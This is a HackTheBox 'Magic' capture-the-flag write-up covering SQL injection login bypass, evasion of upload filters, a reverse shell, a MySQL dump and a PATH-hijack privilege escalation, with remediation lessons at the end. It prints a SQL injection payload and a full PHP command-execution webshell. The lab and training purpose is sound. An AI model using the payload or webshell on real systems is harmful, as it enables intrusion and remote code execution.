HackTheBox : Magic
Magic is a Linux box that covers various interesting techniques. To get an initial access, we will first exploit a login form using a basic SQL injection payload which will then allow us to get access to an upload page. From there, we will try to bypass the file upload checks and send a reverse shell on the web server. This will allow us to get remote code execution. After that, we will move laterally by dumping the content of a MySQL database that contains plaintext credentials. To finish, we will escalate our privileges by exploiting a SUID binary vulnerable to path injection.
Reconnaissance
Nmap
We have two TCP open ports : 22 and 80.
Let’s begin our enumeration with the web server.
HTTP — TCP/80
In this section, we will first take a quick glance at the main web page, then identify the technologies used by the web server as well as their versions :
As you can see, there is a bunch of images related to magic. That said, let’s continue with enumerating the technologies used by the web server.
Technology Profiling
From the output above, we can conclude that the server is using PHP as a backend programming language.
Well, let’s check if the version of the apache server is vulnerable :
As you can notice, we found nothing really interesting. Let’s move on with file and directory enumeration.
File and Directory Enumeration
Here, we will enumerate the files and directories to make sure that we’re not missing anything of interest. Generally, I first check if there is not a robots.txt file before going deeper with the directory/file enumeration :
Unfortunately, there is not robots.txt file.
Note : We could achieve the same result using nmap’s http-robots.txt script :
That said, let’s keep on our enumeration with ffuf :
Here is a quick break down of the options used in the command above :
-ic : ignore comments in the wordlist
-c : colorize the output
-o : output the result in a file
-of : specify the output file format
-e .php : add .php extension at the end of each word of the wordlist
-recursion : scan recursively the web page
-recursion-depth <N> : specify the maximum recursion depth (if the value is set to two, this means that we will only scan the directory and its subdirectory. However we will not scan the subdirectory’s subdirectory. Hope it’s clear (:
As you can see, we got a few files and directories. Let’s take a look at them :
Here, we have a login page. Whenever I face a login page, I generally follow this methodology :
- Look for default credentials based on the technology (e.g : CMS) used by the website
- Check if there is no public exploit allowing me to bypass the authentication. For that, I will need to know the version of the technology being used by the web server
- Check if the user controlled input is not vulnerable to SQL injection or any other type of web vulnerabilities such as command injection or XSS.
Here, I tried to check for SQLi as I didn’t find the technology used by the web server.
SQL Injection
To start, I entered a normal input : "admin"
and got this error : "Wrong Username or Password"
.
Well, let’s now add a single quote at the end of our previous input : "admin'"
. Haha, as you can notice on the image below, the login error message does not appear. This could make us think of an SQLi vulnerability.
Let’s try to use another payload : "admin'+or+'a'='a';--+-"
Note : The payload above is url-encoded (I replaced the space character with +
).
🪄Abracadabra, SQL injection found !
After exploiting the SQLi, I was redirected to /upload.php
Well, as you can see, it seems that we can only upload “images” to the web server. I put the word “images” in quotes because sometimes we can bypass the file upload restrictions by uploading other file type. That being said, let’s try to see if we can bypass the file upload feature. Shall we ?
File Extension Testing
In this section, we will try to find if the web server is using any type of file extension filter by uploading a file with a non-existent extension. Here I just create a file using this command : echo > magic.404
Based on the output above, we can conclude that the server is using a whitelist filter for extensions.
With that, let’s upload a benign JPEG file
As we may expected, the image was successfully uploaded. This can also be confirmed by taking a look at Burp :
Great ! Let’s see if we can find our uploaded image from the main page :
Fantastic ! As you can see there is a dog picture. However, we will need to know where our image is stored. Knowing where the uploaded files are stored will be handy when we upload a reverse shell on the server then try to execute it to get a shell. To find that, you can simply right click on the image, then click on “Open image in new tab” :
Wonderful ! Our file was saved in /images/uploads/
. Furthermore, its name does not change. Till now, we know the following information :
1/ The web server is using a whitelist filter for extensions (Only JPEG, JPG and PNG files are allowed)
2/ The uploaded files are stored in /images/uploads/
directory
3/ The uploaded filenames do not change once uploaded
Awesome ! Let’s continue our enumeration by checking the MIME type.
MIME Type Testing
A MIME type (also known as Multipurpose Internet Mail Extension) is a standard that indicates the format of a file.
Here is our legitimate request that uses our benign image dog.jpeg :
As you can see, the MIME type is represented by Content-Type: image/jpeg
which is entirely normal. Let’s change this MIME type, then send the request to the web server and see how it handles it.
Mime Type modification
Here I changed the MIME type to Content-Type: application/x-php
which tells the web server that the uploaded file format is php :
As you can notice, the file was successfully uploaded which possibly mean that the web server doesn’t apply any filter on the MIME type. Alright, let’s check now the magic bytes.
Magic Bytes Testing
Magic Bytes are data used to identify or verify the content of a file. You can find them at the very beginning of a file.
Here again, we will use our legitimate request that will modify later :
In the legitimate request we can see the following string “ÿØÿá” at the beginning of the uploaded file (just below Content-Type). Indeed, this represents the magic byte of a JPEG file. Let’s remove that, then send the modified request to the web server and see how it handles that.
Removing the magic bytes
Haha, this time the file was not successfully uploaded. We can then conclude that the server probably performs a magic byte check.
So far, we know that the web server is performing a file extension filtering and a magic byte check. Let’s see if we can bypass the file extension filtering by uploading a file with a double extension.
Double Extensions Testing
In this section, we will try to upload files with a double extension. For instance, we may try to upload filenames such as shell.jpeg.php
. This technique may sometimes bypass a whitelist filter, allowing a PHP script to be uploaded and executed on the server. To do that, we will use Burp Intruder with this wordlist.
Once the extension wordlist downloaded, we will try to check if we can bypass the file upload feature using Burp Intruder’s Sniper attack.
Note : Before starting the attack, let’s make a few changes :
1/ Go to Payloads > Payload Encoding and remove the “.” character from the list to avoid it being encoded :
2/ Go to Settings > Grep — Match then enter the error message we got after uploading an unauthorized file extension (“Sorry, only JPG, JPEG & PNG files are allowed.”). This will be used to flag HTTP responses containing the specified message :
Once done, we can launch our sniper attack using the extensions wordlist :
As you can notice, the files highlighted above were successfully uploaded.
Let’s take a look at the main webpage to see if our files were uploaded :
Interesting ! As you can see, new images are displayed. Most of them are ducks images on a plane (-_-)
Let’s check if we can retrieve the uploaded files from the /images/uploads/
directory.
Unfortunately, I was not able to retrieve the uploaded file though it should have normally been uploaded. Nevertheless, that’s not over. Let’s try to upload a .php.jpg
file by injecting a PHP code in the image with exiftool :
After injecting the php code, let’s rename the file into dog.php.jpg
then upload it :
Here is the request intercepted in Burp Proxy :
Awesome ! The file was successfully uploaded. This result was expected see that the extension .php.jpg
was allowed during our snipper attack with Burp Intruder.
Initial Access
In this section, we will try to get an initial foothold to the target machine.
To do that, let’s first check if our .php.jpg
file was successfully uploaded in /images/uploads/
:
Great ! We can access our file. Furthermore, our php code was successfully executed.
That said, let’s try to send the previous intercepted request to Repeater :
Here, we will include the following webshell in the intercepted request’s body then we will send it to the server :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
</head>
<body>
<h1>Command Executor</h1>
<!-- Form to enter commands -->
<form method="get" action="">
<label for="cmd">Enter Command:</label>
<input type="text" id="cmd" name="cmd" required>
<button type="submit">Execute</button>
</form>
<hr>
<!-- Command Execution -->
<?php
if (isset($_GET['cmd'])) {
// Executes the entered command and outputs the result
system($_GET['cmd'] . ' 2>&1');
}
?>
Wonderful ! Let’s browse our .php.jpg
file again and check if we can execute system commands using our webshell :
Fantastic ! We got a webshell. Let’s try to get a reverse shell now. For that, we will first launch Villain which is a python C2 that can handle multiple reverse TCP connections. I personally used this tool rather than netcat because I found it more stable.
After launching, I used another great tool called shellerator that you can use to generate reverse shells :
Once the reverse shell generated, let’s execute it using our webshell :
🧙♂️ Abracadabra ! Reverse shell obtained :)
Note : Before going further with the internal reconnaissance phase, we will need to stabilize our reverse shell using the following commands :
That said, let’s start our internal reconnaissance :
I took a look at the files inside the uploads directory as well as the images directory but found nothing really interesting. Nevertheless, in the Magic directory, I fell across a php file that contained database credentials :
Using that credentials, I tried to authenticate to theseus account using SSH :
As you can see, the SSH authentication failed because only publickey authentication is allowed. This could be checked using this nmap script :
That said, let’s try to authenticate to the user account directly from our reverse shell using the su
command :
Too bad ! Our authentication attempt failed. It seems that theseus didn’t reuse the database’s password for his account.
One thing that we have not tried so far is to check if we could authenticate to the database using mysql :
MySQL is not installed on the target system. Therefore we need to find an alternative to get the content of the database. This is where mysqldump comes in :
Awesome ! We found a new password ‘Th3s3usW4sK1ng’. Let’s see if we can authenticate to theseus account using that password :
Great ! We have been able to authenticate to theseus account. Let’s retrieve the user flag. Shall we ?
Well, let’s try to authenticate to the system using SSH. For that, let’s check if we can find a private ssh key :
Unfortunately, there is no private key in the current user’s .ssh folder. Therefore, we can try to generate a pair of ssh keys, then copy the public key on the target system :
Let’s now copy the generated public key (id_ed25519.pub) in the target system’s authorized_keys file :
Once done, we can connect to theseus account using the private key (id_ed25519) :
Privilege Escalation
In this section, we will look for privilege escalation vectors that will provide us with root access.
The command above returned 88 SUID binaries. This include default and custom binaries. Trying to differ these binaries manually can be a nightmare 🥲. This is where a tool such as SUID3NUM can be handy. This script separates default binaries from custom binaries, cross-match them with binaries in GTFO Bin’s repository and auto-exploit them.
Note : The auto-exploit will not be executed if you do not use the -e option.
Wonderful ! We found a custom SUID binary /bin/sysinfo
Let’s check if we can find a way to leverage that using gtfoblookup. This is an offline command line lookup utility for GTFOBins, LOLBAS, WADComs and HijackLibs :
As you can see, the binary was not found in GTFOBins. That said, let’s try to execute it and see what it does :
Executing the binary
The program returns information regarding hardware, disk, CPU and memory usage. Let’s check if we can escalate our privileges by exploiting a non-existent shared object.
Here we unfortunately found nothing very useful. Let’s keep on our enumeration by printing the strings in the binary :
Guess what ? The binary uses commands such as lshw
, fdisk
, cat
and free
without specifying their absolute path. This can be leveraged to escalate our privileges by using a technique called path injection or path hijacking. The issue here is that /bin/sysinfo
will need to rely on the PATH
environment variable to find the location of the binaries above. Therefore, we can modify this environment variable by adding a directory that we control :
Here our exploit lshw
will copy the bash binary as /usr/bin/console
, then set it the SUID bit.
After generating our exploit, we will alter the PATH
environment variable by adding our controlled directory /dev/shm
to the beginning of the variable :
Once done, let’s make our script executable :
Great ! We can now execute /bin/sysinfo
that would execute our exploit :
Well, let’s check if /usr/bin/console
was created :
Awesome ! We must normally get a root shell after successfully executing the console
program above :
Key Techniques Used
Here are the key techniques, we used to root this box :
- Basic SQL injection to bypass the authentication
- File upload restrictions bypass (magic byte and file extension) using Burp
- Management of TCP reverse shells with Villain
- Usage of mysqldump to dump the database content and move laterally
- Generating a pair of SSH keys to get authenticate to the target machine
- Exploiting a path hijacking to escalate our privileges to root
Lessons Learned
1/ The login page is vulnerable to SQL injection
To access the upload page, we bypassed the login page using a basic SQL injection payload. To fix that, we recommend to validate and sanitize user input by using parameterized queries. Refer here for more informat
2/ The upload feature is vulnerable
To get an initial access, we were able to bypass the file upload restrictions by uploading a webshell that we then used to get a reverse shell. To fix that, we recommend to :
- Scan uploaded files for malware or malicious strings
- Utilize a Web Application Firewall (WAF) as a secondary layer of protection
3/ Credentials are insecurely stored in database
After getting an initial access, we were able to dump the database content. This allowed us to retrieve a plaintext password that we then used to move authenticate to theseus’ account. To remediate that, we recommend hashing passwords before storing them.
4/ Binary /bin/sysinfo
is vulnerable to path hijacking
To get root access, we exploited a custom SUID binary owned by root and vulnerable to path hijacking. To fix that, we recommend to only use custom SUID binaries if necessary and make sure they are not vulnerable to path hijacking by using the absolute paths of executables.
Wrap Up
That’s it guys. Congrats on having made it so far 👏
I hope you enjoyed the writeup.
If so, do not forget to click on the little clap icon below and subscribe to my newsletter to keep up with my latest articles !
Resources
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md#upload-tricks
https://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
Contact
GitHub : https://github.com/0liverFlow